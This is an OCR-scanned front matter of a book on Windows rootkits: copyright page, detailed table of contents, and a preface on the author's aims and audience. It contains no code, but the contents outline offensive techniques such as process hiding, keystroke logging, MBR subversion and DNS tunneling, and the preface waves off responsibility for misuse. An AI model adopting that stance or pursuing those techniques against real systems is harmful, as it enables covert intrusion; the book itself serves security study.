Reverend Bill Blunden - The Rootkit Arsenal: Escape and Evasion in The Dark Corners of The System
Reverend Bill Blunden - The Rootkit Arsenal: Escape and Evasion in The Dark Corners of The System
Blunden, Bill , 1969The rootkit arsenal ! by Bill Blunden. p. cm. Indudes bibliographical references and index. ISBN 978-1-59822-061 -2 (pbk. : alk. paper) 1. Computers- Access control. 2. Computer viruses. 3. Computer hackers. I. Title. QA76.9.A25B5852009 2009008316 005./3--{Jc22
No part of this book may be reproduced in any form or by any means without permission in writing from Wordware Publishing, Inc. Printed in the United States of America
Microsoft, PowerPoint, and Windows Media are either registered trademarks or trademarks of Microsoft Corporation in the United States and/or other countries. Computrace is a registered trademark of Absolute Software, Corp .. EnCase is a registered trademark of Guidance Software, Inc. Eudora is a registered trademark of Quakomm Incorporated. File Scavenger is a registered trademark of QueTek Consulting Corporation. Ghost and PowerQuest are trademarks of Symantec Corporation. GoToMyPC is a registered trademark ofCitrix Online, LLC. KeyCarbon is a registered trademark of www.keycarbon.com. Metasploit is a registered trademark of Metasploit, LLC. OpenBoot is a trademark of Sun Microsystems, Inc. PC Tattletale is a trademark of Parental Control Products, LLC. ProDiscover is a registered trademark of Technology Pathways, LLC. Spector Pro is a registered trademark of SpectorSoft Corporation. Tripwire is a registered trademark of Tripwire, Inc. VERlSIGN is a registered trademark of VeriSign, Inc. VMware is a registered trademark of VMware, Inc. Wires hark is a registered trademark of Wireshark Foundation. Zango is a registered trademark of Zango, Inc. Other brand names and product names mentioned in this book are trademarks or service marks of their respective companies. Any omission or misuse (of any kind) of service marks or trademarks should not be regarded as intent to infringe on the property of others. The publisher recognizes and respects all marks used by companies, manufacturers, and developers as a means to distinguish their products. This book is sold as is, without warranty of any kind, either express or implied, respecting the contents of this book and any disks or programs that may accompany it, indudi ng but not limited to implied warranties for the book's quality, performance, merchantability, or fitness for any particular purpose. Neither Jones and Bartlett Publishers nor its dealers or distributors shall be liable to the purchaser or any other person or entity with respect to any liability, loss, or damage caused or alleged to have been caused directly or indirectly by this book.
All inquiries for volume purchases of this book should be addressed to Wordware Publishing, Inc.,
at the above address. Telephone inquiries may be made by calling: (972) 423-0090
' d dicated to Sun Wukong, Thi s book IS e , chl'ef-maker, the quintessen tial mlS
Contents
Preface: Metadata . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
XIX
Part 1- Foundations
Chapter 1
Setting the Stage . . . . . . . . . . . . . . . . . . . . . . . . 3 1.1 Forensic Evidence .3 1.2 First Principles. . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Semantics . . . . . . . . . . . . . . . . . . . . . . .. . . .. . . . 9 Rootkits: The Kim Philby of System Software . . . . .. 11 Who Is Using Rootkit Technology? 13 The Feds .. 13 The Spooks . . . . .. . 13 The Suits . . . . . . . . 15 1.3 The Malware Connection. 15 Infectious Agents . . . 16 Adware and Spyware . . . 17 Rise of the Botnets . . . . 17 Malware versus Rootkits . 19 Job Security: The Nature of the Software Industry . 19 1.4 Closing Thoughts. . . . . . . . . . . . . . . 21
Chapter 2
Into the Catacombs: IA-32 . . . . . . . . . . . . . . . . . . 23
. 24 25 . 27 27 . 28 .29
. 30
. . . . . . 32
. 33
35
.38 .40
41
.45
(ontents
Case Study: Patching the tree.com Command Synopsis . . . . . . . . . . . . . . . . . .. . . 2.3 Protected Mode. . . . . . . . . . . . . . . . . The Protected-Mode Execution Environment. Protected-Mode Segmentation . . . . . . Protected-Mode Paging . . . . . . . . . . Protected-Mode Paging: A Closer Look . 2.4 Implementing Memory Protection . . . . Protection through Segmentation . . . . Limit Checks . . . Type Checks . . . . . . . . . . Privilege Checks. . . . . . . . Restricted-Instruction Checks Gate Descriptors . . . . . . . . . Protected-Mode Interrupt Tables Protection through Paging . . Summary . . . . . . . . . . . . . . . .
Chapter 3
. . . . 50 .. .. 53 .54 .54 .57 61 .63 . 66 67 .67 .68 .68 .69 .70 73 . 74 .76
3.1 Physical Memory . . . . . . . . . . Physical Address Extension (PAE) . . . Data Execution Prevention (DEP) . . . . Address Windowing Extensions (AWE) . Pages, Page Frames, and Page Frame Numbers 3.2 Memory Protection . Segmentation . . . . . . . . . . . . . .. . . . . . Paging . . . . . . . . . . . . . . . . . .. . . . . . Linear to Physical Address Translation . Longhand Translation . . . A Quicker Approach . . . . Another Quicker Approach 3.3 Virtual Memory . . . . . . . . User Space Topography . . . . Kernel Space Dynamic Allocation . Address Space Layout Randomization (ASLR) . 3.4 User Mode and Kernel Mode . How versus Where . . . . Kernel-Mode Components User-Mode Components 3.5 The Native API .. .. . . The IVT Grows Up . . . . Hardware and the System Call Mechanism System Call Data Structures . . The SYSENTER Instruction. . . . . . .
.80 81 .82 .82 .83 .83 .84 .86 91 91 .92 .93 .93 .96 .97 .98
vi
Contents
The System Service Dispatch Tables . Enumerating the Native API . . . Nt*O versus Zw*O System Calls. The Life Cycle of a System Call . Other Kernel-Mode Routines . .. Kernel-Mode API Documentation 3.6 The Boot Process . . . . . . Startup for BIOS Firmware . . Startup for EFI Firmware. . . The Windows Boot Manager . The Windows Boot Loader . Initializing the Executive. The Session Manager . Wininit.exe. . . . . Winlogon.exe. . . . The Major Players. 3.7 Design Decisions . How Will Our Rootkit Execute at Run Time? . What Constructs Will Our Rootkit Manipulate? .
Chapter 4
Rootkit Basics . . . .
110 113 114 116 119 122 124 124 126 126 127 130 132 134 134 134 136 137 . 138
. . . . 141
4.1 Rootkit Tools . . . . Development Tools Diagnostic Tools . . Reversing Tools . . Disk Imaging Tools Tool Roundup. . . . 4.2 Debuggers. . . . . Configuring Cdb.exe . Symbol Files . . . Windows Symbols. Invoking Cdb.exe . . Controlling Cdb.exe . Useful Debugger Commands. Examine Symbols Command (x) . List Loaded Modules (1m and !lmi) Display Type Command (dt) . Unassemble Command (u) . Display Command (d*) . . . Registers Command (r) .. . The Kd.exe Kernel Debugger Different Ways to Use a Kernel Debugger . . Configuring Kd.exe . . . . Preparing the Hardware . . . . . . . . . .
. .
142 142 143 144 145 147 148 150 150 151 153 154 155 155 157 158 158 159 161 161 162 164 164
vii
Contents
Preparing the Software. . . . . . . . . . ' . . .. 166 Launching a Kernel Debugging Session . . . 168 Controlling the Target. . . . . . . . . . . . . 169 Useful Kernel-Mode Debugger Commands .. 170 List Loaded Modules Command (1m) 170 !process . . . . . . . . . . . .. .. 171 Registers Command (r) .. . . .. . 173 Working with Crash Dumps . . . . . . 173 Method 1 . . . . . . . 174 Method 2 . . . . . .. . 175 Crash Dump Analysis .. 175 4.3 A Rootkit Skeleton. . . . . 176 Kernel-Mode Driver Overview. 176 A Minimal Rootkit . 178 Handling IRPs . 181 DeviceType . 185 Function . 186 Method .. . 186 Access .. . . 186 Communicating with User-Mode Code 187 Sending Commands from User Mode 190 Source Code Organization .. . 193 Performing a Build . . . . . . . 194 WDK Build Environments . 194 Build.exe . . . . . . . . . . 195 4.4 Loading a KMD . . . . . .. . 198 The Service Control Manager (SCM) . 198 Using sC.exe at the Command Line . 199 Using the SCM Programmatically . .200 Registry Footprint . . . . . . . . . . .202 ZwSetSystemInformationO. . . . . . . . . . 203 Writing to the \Device\PhysicaIMemory Object. . 208 Modifying Driver Code Paged to Disk . .208 Leveraging an Exploit in the Kernel . 210 4.5 Installing and Launching a Rootkit. . . 210 Launched by the Operating System . . 211 Launched by a User-Mode Application. 212 Use the SCM . . . . . . . . . . . . . . . . . .. . . . . . . . . 212 Use an Auto-Start Extensibility Point (ASEP) .. . . . . . . . 213 Install the Launcher as an Add-On to an Existing Application . 215 Defense in Depth . . . 216 Kamikaze Droppers . . 216 Rootkit Uninstall. . . . 219
viii
Contents
4.6 Self-Healing Rootkits . . . . . . . . . . .. .. . . . . . . . . .. Auto-Update . . . . . . . . . . . . . . . . . .. ... .. .. ... 4.7 Windows Kernel-Mode Security . .. . . . . . . . . . . . .. . . Kernel-Mode Code Signing (KMCS) . . . . . ... . . . . . . . . Kernel Patch Protection (KPP) . . . . . . . . . . . . . . . . . . . Restricted Access to \Device\PhysicaIMemory . . . . . . . . . . 4.8 Synchronization . . . . . . . . . . . . . . . . . . . . . .. . . Interrupt Request Levels . . . . . . . . . . .. . .. Deferred Procedure Calls (DPCs) . . . . . .. ... . . . . . Implementation . . . . 4.9 Commentary. . . . . . . . . . . . . . . . . . . . . ... . . ..
220 224 225 225 229 230 230 230 234 235 240
5.1 Hooking in User Space: The lAT . . . . . . . . . . . . . . . . . . DLL Basics . . . . . . . . . . . . . . . . . . .. ... .. . . . . . Accessing Exported Routines. . . . .. . Load-Time Dynamic Linking . . . . . . Run-Time Dynamic Linking . . . .. . Injecting a DLL . . . . . . . . . . . The AppInit_DLLs Registry Value. . The SetWindowsHookExO API Call . . Using Remote Threads . . . . . . . . . PE File Format . . . . . . . . . . . . . . . The DOS HEADER . . . . . .. . . . . . .. . .. .. RVAs . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . .. The PE Header . . . . . . . . . . . . . . . . . . . . . . . . . . Walking through a PE on Disk . . . . . . . . . . . . . . . . . . Hooking the IAT . . . . . . . . . . . . . ... . . . . . . . . . 5.2 Hooking in Kernel Space . . . . . . . . . . . . . . . . . . Hooking the IDT . . . . . . . . . . . . . . . . . . . . . . . . . . . Handling Multiple Processors - Solution 1 . . . . . . . . . . Naked Routines . . . . . . . . . . . . . . . . . . . . . . . . . . Issues with Hooking the IDT . . . . . . . . . . . . . . . . . . Hooking Processor MSRs . . . . . . . . . . . . . . Handling Multiple Processors - Solution 2 . . Hooking the SSDT. . . . . . . . . . . . . . Disabling the WP Bit - Technique 1 . . Disabling the WP Bit - Technique 2 . . Hooking SSDT Entries . . . . . . . . . . SSDT Example: Tracing System Calls. . ... SSDT Example: Hiding a Process. . . . . . . . . . . . . . .
245 246 247 248 249 250 250 251 252 255 255 256 257 260 265 269 270
271
276 278 279 282 286 288 289 291 293 296
ix
Contents
SSDT Example: Hiding a Directory . . . . . . . SSDT Example: Hiding a Network Connection. Hooking IRP Handlers . . . . . . . . . . . Hooking the GDT - Installing a Call Gate 5.3 Hooking Countermeasures . . . . . Checking for Kernel-Mode Hooks. Checking IA32 _SYSENTER_ EIP. Checking INT Ox2E . . . Checking the SSDT . . . . . . . Checking IRP Handlers . . . . . Checking for User-Mode Hooks Parsing the PEB - Part 1. . Parsing the PEB - Part 2. . 5.4 Counter-Countermeasures .
Chapter 6
Patching System Routines. . . . . . . . .
301 .305 . 306 . 308 317 318 321 . 322 . 324 . 325 .327 .330 .336 .337
. . . . 339 Binary Patching versus Run-time Patching . 340 The Road Ahead . . .340 6.1 Run-time Patching. .340 Detour Patching . . 341 Detour Jumps . . . .344 Example 1: Tracing Calls . 346 Detour Implementation. 351 Acquire the Address of the NtSetValueKeyO . .354 Initialize the Patch Metadata Structure . . . . .354 Verify the Original Machine Code against a Known Signature . 356 Save the Original Prolog and Epilog Code. . 357 Update the Patch Metadata Structure. . . . 357 Lock Access and Disable Write Protection .358 Inject the Detours . .358 The Prolog Detour . .359 The Epilog Detour . 361 Post-Game Wrap-Up . 365 Example 2: Subverting Group Policy. . . . . . 365 Detour Implementation. . . . . . . . . . 367 Initializing the Patch Metadata Structure . . . . 367 The Epilog Detour . . . . . . . . . . . . . . . . 368 Mapping Registry Values to Group Policies. .373 Example 3: Granting Access Rights . . . . 374 Detour Implementation. . . . . . . . . . . 376 6.2 Binary Patching . . . . . . . . . . . . . . . . 379 Subverting the Master Boot Record . . . . .380 The MBR in Depth . .380 The Partition Table . . . . . . . . . . . . . . 383
Contents
Patch or Replace? ... . .. . Hidden Sectors . . . . . . . . . Bad Sectors and Boot Sectors . Rogue Partition . MBR Loader ... IA-32 Emulation. . Vbootkit ... .. . 6.3 Instruction Patching Countermeasures .
Chapter 7
7.1 The Cost of Invisibility . . . . . . . . 401 Issue 1: The Steep Learning Curve . . . . . 401 Issue 2: Concurrency . . . . . . . . . . . . . 402 . 403 Issue 3: Portability and Pointer Arithmetic Branding the Technique: DKOM . . . . . . . 405 Objects? . . . . . . . . . .. ... .. . ... .. ... . . ... 405 7.2 Revisiting the EPROCESS Object . . 406 Acquiring an EPROCESS Pointer . 406 Relevant Fields in EPROCESS . . 409 UniqueProcessId . . . 409 ActiveProcessLinks . . 410 Token . . . . . . . . . 411 ImageFileName . . . . 411 7.3 The DRIVER_SECTION Object. . 411 7.4 The TOKEN Object . . . . . . . 414 Authorization on Windows . . . . . 414 Locating the TOKEN Object. . . . 416 Relevant Fields in the TOKEN Object . . 418 7.5 Hiding a Process. . . . . . . . . . 422 7.6 Hiding a Driver . . . . . . . . . . 428 7.7 Manipulating the Access Token. . 432 7.8 Using No-FU . . . . . . . 434 7.9 Countermeasures . . . . . . . . . 436 Cross-View Detection . . . . . . . 436 High-Level Enumeration: CreateToolhelp32SnapshotO . . 437 High-Level Enumeration: PID Bruteforce . 439 Low-Level Enumeration: Processes. . 442 Low-Level Enumeration: Threads. . 444 Related Software. . . . . . . . 451 Field Checksums. . . . . . . . . . . . . 452 Counter-Countermeasures . . . . . . . 452 7.10 Commentary: Limits of the Two-Ring Model . 453 7.11 The Last Lines of Defense . . . . . . . . . . . 454
xi
(ontents
Chapter 8
8.1 Filter Driver Theory. . . . . . . . Driver Stacks and Device Stacks. . . . . . The Lifecycle of an IRP . . . . . . . . . . . Going Deeper: The Composition of an IRP IRP Forwarding . . . . . . . . . . IRP Completion . . . . . . . . . . . . . . . 8.2 An Example: Logging Keystrokes . . . . . The PS/2 Keyboard Driver and Device Stacks . Lifecycle of an IRP . . . . . . . . . . . . . . . Implementation . . . . . . . . . . . . . . . . 8.3 Adding Functionality: Dealing with IRQLs. Dealing with the Elevated IRQL . . Sharing Nicely: The Global Buffer . The Worker Thread . . . . . . . . . Putting It All Together . . . . . . . 8.4 Key Logging: Alternative Techniques . SetWindowsHookEx. . . . . . . . GetAsyncKeyState . . . . . . . . 8.5 Other Ways to Use Filter Drivers
.458 .458 .460 . 461 .464 .465 .467 .467 .469 .470 . 475 .475 .477 .479 .483 . 484 .485 .488 .489
IDS, IPS, and Forensics . . Anti-Forensics . . . . Data Destruction . . Data Hiding . . . . . Data Transformation Data Contraception. Data Fabrication . . . File System Attacks 9.1 The Live Incident Response Process The Forensic Investigation Process Collecting Volatile Data . . . Performing a Port Scan . . . . . . Collecting Nonvolatile Data .. .. The Debate over Pulling the Plug Countermeasures . . . . . . 9.2 RAM Acquisition . . . . . . . . . Software-Based Acquisition .. . KnTDD.exe. Autodump+ . . . . . . . .. .
. 494 .495 .496 . 496 .497 .497 .497 .497 .498 .498 .500 .504 .505 .508 .508 . 509 . 510 . 510 .511
xii
Contents
. . . . 517
10.1 File System Analysis . .. Forensic Duplication . . . . Recovering Deleted Files . Enumerating ADSes . . . . Acquiring File Metadata . . Removing Known Good Files. File Signature Analysis . . . . Static Analysis of an Unknown Executable Run-time Analysis of an Unknown Executable 10.2 Countermeasures: Overview . .. . .. . 10.3 Countermeasures: Forensic Duplication . Reserved Disk Regions . . . . . . . . . . Live Disk Imaging. . . . . . . . . . . . . 10.4 Countermeasures: Deleted File Recovery. 10.5 Countermeasures: Acquiring Metadata Altering Timestamps . . . . . . . . . . . . Altering Checksums . . . . . . . . . . . . . 10.6 Countermeasures: Removing Known Files Move Files into the "Known Good" List . Introduce "Known Bad" Files . .. .. . . Flood the System with Foreign Binaries . Keep Off a List Entirely by Hiding . Out-of-Band Hiding .. . . .. . In-Band Hiding .. . . . . . . . . . . Application Layer Hiding: M42 . . . 10.7 Countermeasures: File Signature Analysis 10.B Countermeasures: Executable Analysis . Foiling Static Executable Analysis . Cryptors . . . . . . .. .. . . Encryption Key Management. . . . Packers . . . . . . . . .. . . . .. . Augmenting Static Analysis Countermeasures Foiling Run-time Executable Analysis . Attacks against the Debugger. . . . . Breakpoints . . . . . . . . . . . . . . Detecting a User-Mode Debugger . . Detecting a Kernel-Mode Debugger. Detecting a User-Mode or Kernel-Mode Debugger
517 519 521 521 . 523 .527 . 529 . 530 533 .537 538 .538 . 539 542 . 544 .544 .546 547 547 .548 . 548 . 549 . 549 . 555 .566 567 .568 .568 .571 . 580 581 583 585 .586 . 586 587 . 588 588
xiii
(ontents
Detecting Debuggers via Code Checksums. . Land Mines .. . . . . . . . . Obfuscation . . . . . . . . . . . . Obfuscating Application Data. Obfuscating Application Code The Hidden Price Tag . . . . 10.9 Borrowing Other Malware Tactics . Memory-Resident Rootkits . . . . . Data Contraception . . . . . . . . . The Tradeoff: Footprint versus Failover .
Chopter 11
589 .590 .590 591 592 . 595 . 596 . 596 597 . 599
Defeating Network Analysis . . . . . . . . . . . . . . . . 603 11 .1 Worst-Case Scenario: Full Content Data Capture . . . . . . . . . 604 11 .2 Tunneling: An Overview . . 605 HTTP. .606 .607 DNS . . . . . . . . . .607 ICMP . . . . . . . . Peripheral Issues . .609 11.3 The Windows TCPIIP Stack 610 Windows Sockets 2 . .611 Raw Sockets . . . . . 612 Winsock Kernel API . 613 NDIS . . . . . . . . . 614 Different Tools for Different Jobs. 616 11 .4 DNS Tunneling . 617 DNS Query . . . . . . . . . . . . 617 DNS Response . . . . . . . . . . 619 11.5 DNS Tunneling: User Mode . . . 621 11 .6 DNS Tunneling: WSK Implementation. 625 Initialize the Application's Context. .. .632 .632 Create a Kernel-Mode Socket . . . . . Determine a Local Transport Address . 634 Bind the Socket to the Transport Address. 635 Set the Remote Address (the C2 Client). 636 Send the DNS Query . . . . . 638 Receive the DNS Response. . . . . . . . .639 11.7 NDIS Protocol Drivers . . . . . . . . . . 641 Building and Running the NDISProt 6.0 Example. 642 An Outline of the Client Code . 646 An Outline of the Driver Code .649 The ProtocolxxxO Routines. .652 Missing Features. . . . . . . . .656
xiv
Contents
Chapter 12
Countermeasure Summary . . .
12.1 Live Incident Response . 12.2 File System Analysis . . 12.3 Network Traffic Analysis 12.4 Why Anti-Forensics? ..
Run Silent, Run Deep . . . . . . Development Mindset. . . . . . On Dealing with Proprietary Systems . Staking Out the Kernel . . . . . . . . . Walk before You Run: Patching System Code . Walk before You Run: Altering System Data Structures The Advantages of Self-Reliant Code Leverage Existing Work Use a Layered Defense .. . .. . Study Your Target . . . . . . . . . Separate Mechanism from Policy .
Chapter 14
Closing Thoughts . . . . . . . . . . . . .
. . . 669 . 669 . 670 670 .671 672 ... 672 673 675 675 . 676 676
. . . 677
Appendix
Chapter 2 . . . . . . . Project: KillDOS. . Project: HookTSR . Project: HideTSR . Project: Patch Chapter 3 . SSDT .. . . Chapter 4 . . . . Project: Skeleton (KMD Component). Project: Skeleton (User-Mode Component) Project: Installer . Project: Hoglund. . . . . . . . . . . Project: SD . . . . . . .. .. .. . . Project: HBeat (Client and Server) . Project: IRQL . . . . . . Chapter 5 . . . . . . . . . . Project: RemoteThread .
. 683 . 683 . 684 691 . 696 . 697 . 697 .710 710 714 721 . 724 .726 729 . 736 . 739 739
xv
Contents
Project: ReadPE .. .. . . . . . . . .. . . . . . . . Project: HookIAT . . . . . . . . . . . Project: HookIDT . . . . . . . Project: HookSYS . . . . . . . Project: HookSSDT . . Project: HookIRP . . . . . . . . . . . Project: HookGDT . .. . . . . .. Project: AntiHook (Kernel Space and User Space) . . . . . . . . Project: ParsePEB. . . . . . . . . . . . . . . . . . . . .. . . Chapter 6 . . . . . . . . . . . . . . . . . . . . . . . . . . .. .. Project: TraceDetour . . . . . Project: GPO Detour . . . . . . . . Project: AccessDetour. . . . . . . . . . Project: MBR Disassembly . . . . . . . . . . . . Project: LoadMBR . . . . . . . . . . . . . . . . . Chapter 7 . . . . . . . . . . . .. . . . .. .. . . . . . . . . . Project: No-FU (User-Mode Portion) .. . . . . . . . . . . .. . Project: No-FU (Kernel-Mode Portion) . . . . . . . . . . . . . . Project: TaskLister . . . Project: findFU . . . . .. . . . . . . . . . . . . . . . . . . . Chapter 8 . . . . . . . . . .. .. . . . . . . . . . . . . . . . . . Project: KiLogr-VOl . . . . .. . . . . .... . Project: KiLogr-V02. . . .. . . . .. . ..... Chapter 10 . . . . . . . . . .. . . . .. . . . . . . Project: TSMod . . . . . . . . . . Project: Slack .. . . . . . . . . . Project: MFT . . . . . . . . . . .. . . . . . . . . Project: Cryptor . Chapter 11 . . . .. .. . . . . . . . . Project: UserModeDNS . . Project: WSK-DNS . . . . . . . . . . . . . . . . .. . . . . ..
Index . . . . . . . . . . . . . . .
741 746 750 756 760 772 774 779 790 793 793 801 804 811 813 816 816 821 834 838 843 843 847 854 854 858 860 871 876 876 883
. . . . 895
xvi
Disclaimer
The author and the publisher assume no liability for incidental or consequential damages in connection with or resulting from the use of the information or programs contained herein.
xvii
Preface: Metadata
"We work in the dark - we do what we can - we give what we have. Our doubt is our passion and our passion is our task. The rest is the madness of art." The Middle Years (1893) - Henry James In and of itself, this book is nothing more than a couple pounds of processed wood pulp. Propped open next to the workstation of an experienced software developer, however, this book becomes something more. It becomes one of those books that they would prefer you didn't read. To be honest, the MBA types in Redmond would probably suggest that you pick up the latest publication on .NET and sit quietly in the corner like a good little software engineer. Will you surrender to their technical lullaby, or will you choose to handle more hazardous material? In the early days, back when an 8086 was cutting-edge technology, the skills required to undermine a system and evade detection were funneled along an informal network of Black Hats. All told, they did a pretty good job of sharing information. Membership was by invitation only and meetings were often held in secret. In a manner that resembles a guild, more experienced members would carefully recruit and mentor their proteges. Birds of a feather, I suppose; affinity works in the underground the same way as it does for the Skull and Bones crowd at Yale. For the rest of us, the information accumulated by the Black Hat groups was shrouded in obscurity. This state of affairs is changing and this book is an attempt to hasten the trend. When it comes to powerful technology, it's never a good idea to stick your head in the sand (or encourage others to do so). Hence, my goal over the next few hundred pages is to present an accessible, timely, and methodical presentation on rootkit internals. All told, this book covers more topics, in greater depth, than any other book currently available. It's a compendium of ideas and code that draws its information from a broad spectrum of sources. I've dedicated the past two years of my life to ensuring that this is the case. In doing so I've waded through a vast murky swamp of poorly documented,
xix
Preface: Metadata
partially documented, and undocumented material. This book is your opportunity to hit the ground running and pick up things the easy way.
Poorly Documented
Partially Documented
Not Documented
xx
Preface: Metadata
AVIEWS (Anti Virus Information and Early Warning System), formally condemned Aycock's teaching methodology and admonished the University of Calgary to revisit the decision to offer such a course. l In their public statement, AVIEN and AVIEWS claimed that:
"The creation of new viruses and other types of rnalware is completely unnecessary. Medical doctors do not create new viruses to understand how existing viruses function and neither do anti-virus professionals. It is simply not necessary to write new viruses to understand how they work and how they can be prevented. There are also enough viruses on the Internet already that can be dissected and analyzed without creating new threats. "
In the summer of 2006, Consumer Reports (an independent, nonprofit organization) drew the ire of the computer security industry when it tested a number of well-known antivirus packages by hiring an outside firm to create 5,500 variants of existing malware executables. Critics literally jumped out of the woodwork to denounce this testing methodology. For instance, Igor Muttik, of McAfee's Avert Labs, in a company blog observed that: "Creating new viruses for the purpose of testing and education is generally not considered a good idea - viruses can leak and cause real trouble." Naturally, as you might have guessed, there's an ulterior motive behind this response. As Jiirgen Schmidt, a columnist at Heise Security points out, "The commandment Thou shalt not create new viruses' is a sensible self-imposed commitment by the manufacturers of antivirus software, which prevents them from creating an atmosphere of threat to promote their products."2 Listen to the little girl. The king is naked. His expensive new suit of armor is a boondoggle. The truth is that Pandora's Box has been opened. Like it or not, the truth will out. As this author can testify, if you're willing to dig deep enough, you can find detailed information on almost any aspect of malware creation on the Internet. Issuing ultimatums and intimidating people will do little to stem the tide. As Mark Ludwig put it in his seminal book The Giant Black Book of Computer Viruses, "No intellectual battle was ever won by retreat. No nation has ever become great by putting its citizens' eyes out."
1 http://www.avien.org/publicletter.htm 2 http://www.heise-online.co.uk/security/features/77440
xxi
Preface: Metadata
General Approach
Explaining how rootkits work is a balancing act that involves just the right amount of depth, breadth, and pacing. In an effort to appeal to as broad an audience as possible, during the preparation of this book's manuscript I tried to abide by the following guidelines: Include an adequate review of prerequisite material Keep the book as self-contained as possible Demonstrate ideas using modular examples
xxii
Preface: Meladala
the examples in this book would probably fall into the "training code" category. I build my sample code progressively so that I only provide what's necessary for the current discussion at hand, while still keeping a strong sense of cohesion by building strictly on what's already been presented.
Tease
Training Code
Full Example
Production Code
Over the years of reading computer books, I've found that if you include too little code to illustrate a concept, you end up stifling comprehension. If you include too much code, you run the risk of getting lost in details or annoying the reader. Hopefully I've found a suitable middle path, as they say in Zen.
Studying rootkits is a lot like Gong Fu. True competency requires years of dedication, practice, and a mastery of the basics. This is not something you can buy, you must earn it. Hence, I devote Part I of this book focusing on fundamental material. It may seem like a tedious waste of time, but it's necessary. It will give you the foundation you need to comfortably experiment with more advanced concepts later on. Part II of the book examines how a rootkit can modify a system to undermine its normal operation. The discussion follows a gradual progression, starting with easier techniques and moving on to more sophisticated ones. In the end, the run-time state of a machine is made up of machine instructions and data structures. Patching a system with a rootkit boils down to altering either one or both of these constituents. On the battlefield, it's essential to understand the vantage point of your adversary. In this spirit, Part III assumes the mindset of a forensic investigator. We look at forensic techniques that can be employed to unearth a rootkit and then examine the countermeasures that a rootkit might utilize to evade
xxiii
Preface: Metadata
the wary investigator. In doing so, we end up borrowing many tactics that traditionally have been associated with viruses and other forms of malware.
Part IV examines what might be referred to as "macro issues." Specifically, I discuss general strategies that transcend any particular software!hardware platform. I also briefly comment on analogies in the political arena.
Intended Audience
When I was first considering the idea of writing about rootkits, someone asked me: ''Aren't you worried that you'll be helping the bad guys?" The answer to this question is a resounding "NO." The bad guys already know this stuff. It's the average system administrator who needs to appreciate just how potent rootkit technology can be. Trying to secure the Internet by limiting access to potentially dangerous information is a recipe for disaster. Ultimately, I'm a broker. What I have to offer in this book is ideas and source code examples. What you choose to do with them is your business.
Prerequisites
For several decades now, the standard language for operating system implementation has been C. It started with UNIX in the 1970s and Darwinian forces have taken over from there. Hence, people who pick up this book will need to be fluent in C. Granted there will be a load of material related to device driver development, some x86 assembler, and a modicum of system-level APls. It's inescapable. Nevertheless, if I do my job as an author all you'll really only need to know C. Don't turn tail and run away if you spot something you don't recognize, I'll be with you every step of the way.
Conventions
In this book, the Consolas font is used to indicate text that is one of the following: Source code Console output A numeric or string constant Filename Registry key name or value name
xxiv
Preface: Metadata
I've tried to distinguish source code and console output from regular text using a grey background. In some cases, particularly important items are highlighted in black. If an output listing is partial, in the interest of saving space, I've tried to indicate this using three trailing periods.
int Level; level = 5;
level++; /* //thlS lS really lmportant code, It ' S hlghllghted
Registry names have been abbreviated according to the following standard conventions:
HKEY_LOCAL_MACHINE HKEY_CURRENT_USER
=
= HKLM
HKCU
Registry keys are indicated by a trailing backslash. Registry key values are not suffixed with a backslash.
HKLM\5Y5TEM\CurrentControlSet\Services\NetBI05\ HKLM\SYSTEM\CurrentControlSet\Services\NetBI05\ImagePath
Words will appear in italic font in this book for the following reasons: When defining new terms To place emphasis on an important concept When quoting another source When citing a source
Numeric values appear throughout the book in a couple of different formats. Hexadecimal values are indicated by either prefixing them with "ex" or appending "H" to the end. Source code written in C tends to use the former and IA-32 assembly code tends to use the latter.
9xFF92 9FF92H
Binary values are indicated either explicitly or implicitly by appending the letter " 8" . You'll see this sort of notation primarily in assembly code.
9119111B
xxv
Preface: Metadata
Acknowledgments
As with many things in life, this book is the culmination of many outwardly unrelated events. In my mind, this book has its origins back in December of 1999 while I was snowed in during a record-breaking winter storm in Minneapolis. Surfing at random, I happened upon Greg Hoglund's article inPhrack magazine, "A *REAL * NT Rootkit, patching the NT Kernel." Though I'll admit that much of the article was beyond me at the time, it definitely planted a seed that grew over time. Without a doubt, this book owes a debt of gratitude to pioneers like Greg who explored the far corners of the matrix and then generously took the time to share what they learned with others. I'm talking about researchers like Sven Schreiber, Mark Ludwig, Joanna Rutkowska, Mark Russinovich, Jamie Butler, Sherri Sparks, Vinnie Liu, H.D. Moore, the Kumar tag-team over at NVIabs, Crazylord, and the grugq. A great deal of what I've done in this book builds on the publicly available foundation of knowledge that these people left behind, and I feel obliged to give credit where it's due. I only hope this book does the material justice. On the other side of the great divide, I'd like to extend my thanks to Richard Bejtlich, Harlan Carvey, Keith Jones, and Curtis Rose for their contributions to the field of computer forensics. The books that these guys wrote have helped to establish a realistic framework for dealing with incidents in the wild. An analyst who is schooled in this framework, and has the discipline to follow the processes that it lays out, will prove a worthy adversary to even the most skilled attacker. During my initial trial by fire at San Francisco State University, an admin by the name of Alex Keller was kind enough to give me my first real exposure to battlefield triage on our domain controllers. For several hours I sat shotgun with Alex as he explained what he was doing and why. It was an excellent introduction by a system operator who really knows his stuff. Thanks again, Alex, for lending your expertise when you didn't have to, and for taking the heat when your superiors found out that you had. As usual, greetings are also in order. I'd like to start with a shout out to the CHHS IT Think Tank at SFSU (Dan Rosenthal, David Vueve, Dylan Mooney, Jonathan Davis, and Kenn Lau). When it comes to Counter-Strike, those mopes down at the Hoover Institute have nothing on us! I'd particularly like to give my respects to the Notorious Lucas Ford, our fearless leader and official envoy to Las Vegas; a hacker in the original sense of the word. Mad props also go to Martin Masters, our covertly funded sleeper cell over in the SFSU
xxvi
Preface: Meladala
Department of Information Technology. Don't worry, Marty; your secret is safe with me. Going back some fifteen years, I'd like to thank Danny Solow, who taught me how to code in C and inspired me to push forward and learn Intel assembly code. Thanks and greetings also go out to Rick Chapman, my handler in Connecticut and the man who lived to tell of his night at Noorda's Nightmare. George Matkovitz is a troublemaker of a different sort, a veteran of Control Data and a walking history lesson. If you wander the halls of Lawson Software late at night, legend has it that you will still hear his shrill Hungarian battle cry: "God damn Bill Gates, son-of-a-bitch. NT bastards!" Last, but not least, I'd like to give thanks to Tim McEvoy, Martha McCuller, and all of the other hardworking folks at Wordware for making this book happen.
0(eX), Reverend Bill Blunden www.belowgotham.com
xxvii
Pa rt I Foundations
Chapter 1 Chapter 2 Chapter 3 Chapter 4 Setting the Stage Into the Catacombs: IA-32 Windows System Architecture Rootkit Basics
1 \ .,
Chapter 1
